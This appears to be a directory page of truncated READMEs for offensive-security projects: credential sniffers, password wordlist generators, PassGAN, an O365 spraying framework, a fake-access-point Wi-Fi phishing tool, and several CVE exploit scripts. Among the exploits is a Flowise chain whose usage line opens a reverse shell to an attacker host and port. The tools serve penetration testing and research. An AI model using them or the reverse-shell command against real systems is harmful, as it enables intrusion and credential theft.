net-creds

从接口或pcap文件中彻底嗅探密码和哈希。会拼接碎片化的数据包，并且不依赖端口进行服务识别。 截图 --- 可嗅探内容 访问的URL 发送的POST负载 HTTP表单登录/密码 HTTP基础认证登录/密码 HTTP搜索 FTP登录/密码 IRC登录/密码 POP登录/密码 IMAP登录/密码 Telnet登录/密码 SMTP登录/密码 SNMP社区字符串 NTLMv1/v2 所有支持的协议：HTTP、SMB、LDAP等 Kerberos 示例 自动检测要嗅探的接口 sudo python net-creds.py 选择 eth0 作为接口 sudo python net-creds.py...

Wordlister

Wordlister 一个用 Python 3.10.1 编写的简单词列表生成器和变形器。 支持的排列方式： 首字母大写 全大写 1337 追加 前置 附加功能： 每个生成的密码不包含相同的单词两次。 输出可以根据单词长度排序。 预览： usage: wordlister.py -h --input INPUT --perm PERM --min MIN --max MAX --test TEST --cores CORES --leet --cap --up --append APPEND --prepend PREPEND A simple wordlist generator an...

duplicut

Duplicut :scissors: Quickly dedupe massive wordlists, without changing the order Created by nil0x42 and contributors 📖 Overview Nowadays, password wordlist creation usually implies concatenating multiple data sources. Ideally, most probable passwords should stand at start of the wordlist, so most...

CVE-2019-14314

CVE-2019-14314 CVE-2019-14314 - NextGEN Gallery 3.2.10 认证SQL注入 用法 usage: cve201914314.py -h url loginuser loginpass username CVE-2019-14314 Hash Extractor positional arguments: url Wordpress blog URL loginuser Username to login with loginpass Password to login with username Username to extract...

Grafana-Decryptor-for-CVE-2021-43798

Decryptor de Grafana para CVE-2021-43798 Este script descifra las contraseñas de las fuentes de datos de una instancia de Grafana vulnerable a CVE-2021-43798, que permite la lectura no autorizada de archivos arbitrarios. Descripción Las versiones 8.0.0-beta1 a 8.3.0 de Grafana son vulnerables a u...

PDFPasswordUnlocker

PDF Password Retriever using Google Colab 轻松解锁PDF 你是否曾忘记重要PDF文档的密码？别担心！有了PDF密码恢复工具，找回遗忘的PDF密码变得轻而易举。本项目借助Google Colab的强大功能，仅需四个简单步骤即可提供高效解决方案。 主要特性： 轻松恢复： 告别记住复杂密码的烦恼。我们的方案简化流程，让密码恢复快速且无痛。 Google Colab集成： 利用Google Colab云端基础设施的计算能力，轻松处理密码恢复。 通用兼容： 无论你的PDF密码多么复杂，我们的方案都能应对。从简单短语到复杂组合，我们都能搞定。 用户友好界面：...

CVE-2023-41508

CVE-2023-41508 CVE-2023-41508 - A hard-coded password in Super Store Finder v3.6 allows attackers to access the administration panel. Vulnerability Type Incorrect Access Control Vendor of Product Super Store Finder Affected Product Code Base Super Store Finder - Affected version 3.6 or below. Fix...

TeamFiltration

TeamFiltration TeamFiltration 是一个跨平台框架，用于枚举、喷射、窃取和植入后门的 O365 EntraID 账户。 请参阅 TeamFiltration 维基页面了解 TeamFiltration 的工作原理，以及快速入门指南学习如何快速上手！ 该工具自 2021 年 1 月起在 TrustedSec 内部使用，并在 DefCON30 期间我的演讲 Taking a Dump In The Cloud 中公开发布。 下载 您可以下载适用于 Linux、Windows 和 MacOS 的最新预编译版本...

linset

Linset 不是一个社会工程工具 首先，需要说明的是，这是一个用于教育目的的项目，它帮助我（希望也能帮助其他人）更好地接触编程和无线网络的世界。在任何情况下，都禁止将此工具用于非授权的无线网络！ 工作原理 扫描网络。 选择网络。 3. 捕获握手包（也可以在没有握手包的情况下使用） 4. 我们选择几个为特定场景定制的 Web 界面之一（感谢用户的合作） 5. 搭建一个模仿原网络的 FakeAP 6. 在 FakeAP 上创建 DHCP 服务器 7. 创建 DNS 服务器，将所有请求重定向到宿主机 8. 启动带有选定界面的 Web 服务器 9. 启动验证密码有效性的机制 10...

PassGAN

PassGAN 本仓库包含论文 PassGAN: A Deep Learning Approach for Password Guessing 的代码。 PassGAN 模型取自 Improved Training of Wasserstein GANs，并假设 PassGAN 的作者在其工作中使用了 improvedwgantraining 的 TensorFlow 实现。因此，我在本仓库中对参考实现进行了修改，使其易于训练（train.py）和采样（sample.py）。本仓库贡献了： 命令行界面 基于 RockYou 数据集预训练的 PassGAN 模型 快速开始 需要预先安装...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 影响 Flowise -c "id" 使用现有密钥的反弹 Shell ： python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 选项 标志| 描述 ---|--- -t, --target| 目标 URL -e, --email| 目标账户邮箱（触发 ATO 链） --api-key| 直接提供 API 密钥（跳过 ATO） -c, --command| 要执行的命令 --lhost| 攻击者 IP（反弹 Shell）...

public-passwd

!WARNING Úsalo solo en sistemas que poseas o tengas autorización para probar. Se recomienda mantener una shell de root abierta si no podrás reiniciar el sistema en caso de fallo, ya que podrías no ser capaz de limpiar el caché de páginas de /etc/shadow sin root. public-passwd Usa CVE-2026-46333 y...

words-scraper

Words Scraper Selenium based web scraper to generate passwords list. Installation Download Firefox webdriver from https://github.com/mozilla/geckodriver/releases $ tar xzf geckodriver-vVERSION-HERE.tar.gz $ sudo mv geckodriver /usr/local/bin Make sure it is in your PATH $ geckodriver --version Ma...

words-scraper

Words Scraper 基于Selenium的网页抓取器，用于生成密码列表。 安装 Download Firefox webdriver from https://github.com/mozilla/geckodriver/releases $ tar xzf geckodriver-vVERSION-HERE.tar.gz $ sudo mv geckodriver /usr/local/bin Make sure it is in your PATH $ geckodriver --version Make sure webdriver is properly installe...

Compromised-Org-Chart-Generator

受损组织架构图生成器 概述 Active Directory 被组织用作身份提供者。 它包含所有员工的信息，包括姓名、职位、部门以及他们的经理。 密码审计有助于发现弱点和风险。 您可以尝试对少量密码进行密码喷洒。 或者，您可以使用 hashcat 对用户哈希执行字典攻击。 您还可以从 https://haveibeenpwned.com 等服务获取泄露信息。 在这些情况下，您将获得一份有风险的用户列表。此脚本可帮助您可视化哪些部门或区域面临风险。 知晓明文密码后，威胁行为者可以以该用户身份进行身份验证，而这通常不会触发任何警报。 此存储库通过基于 Active Directory...

Remote-Desktop-Caching-

远程桌面缓存恢复工具 该工具允许用户以损坏的PNG文件形式恢复旧的RDP（mstsc）会话信息。这些PNG文件使红队成员能够提取LAPS密码或屏幕上的任何敏感信息。蓝队成员可以重建PNG文件，查看攻击者在受感染主机上做了什么。对于取证团队来说，在主机遭受攻击后提取时间戳以收集证据并进行进一步分析非常有用。 欢迎对本工具提出任何建议或想法——只需在推特上联系我 @ManiarViral 截图 首次运行 Remote-Desktop-Caching 时，使用 python.exe remotecache.py，用户将看到如下选项： 使用 选项1 和...

CVE-2023-7028

CVE-2023-7028 ⚠️ This exploit is for defensive purposes and should be used by cybersecurity professionals to identify possible vulnerable GitLab servers. Description CVE-2023-7028 - Account Takeover via Password Reset without user interactions in GitLab Community Edition and Enterprise Edition...

longtongue

Generate customized Password/Passphrase wordlist based on target information Coded with 💙 by edoardottt Share on Twitter! Installation ⬇️ pipx pipx install longtongue Source git clone https://github.com/edoardottt/longtongue.git cd longtongue pip install -r requirements.txt python3 longtongue.py...

longtongue

基于目标信息生成自定义密码/密码短语单词列表 由 edoardottt 用 💙 编写 在 Twitter 上分享！ 安装 ⬇️ pipx pipx install longtongue 源码 git clone https://github.com/edoardottt/longtongue.git cd longtongue pip install -r requirements.txt python3 longtongue.py 使用方法 💻 usage: longtongue -h -p | -c | -v -l | -L -y -n -m MINLENGTH -M MAXLENGT...

CVE-2023-45182

CVE-2023-45182 IBM i Access Client Solutions 1.1.9.4 - Cifrado débil de contraseñas Cronología Vulnerabilidad reportada al proveedor: 22.09.2023 Nueva versión corregida 1.1.9.4 publicada: 08.12.2023 Divulgación pública: 15.12.2023 Descripción IBM i Access Client Solutions, para almacenar las...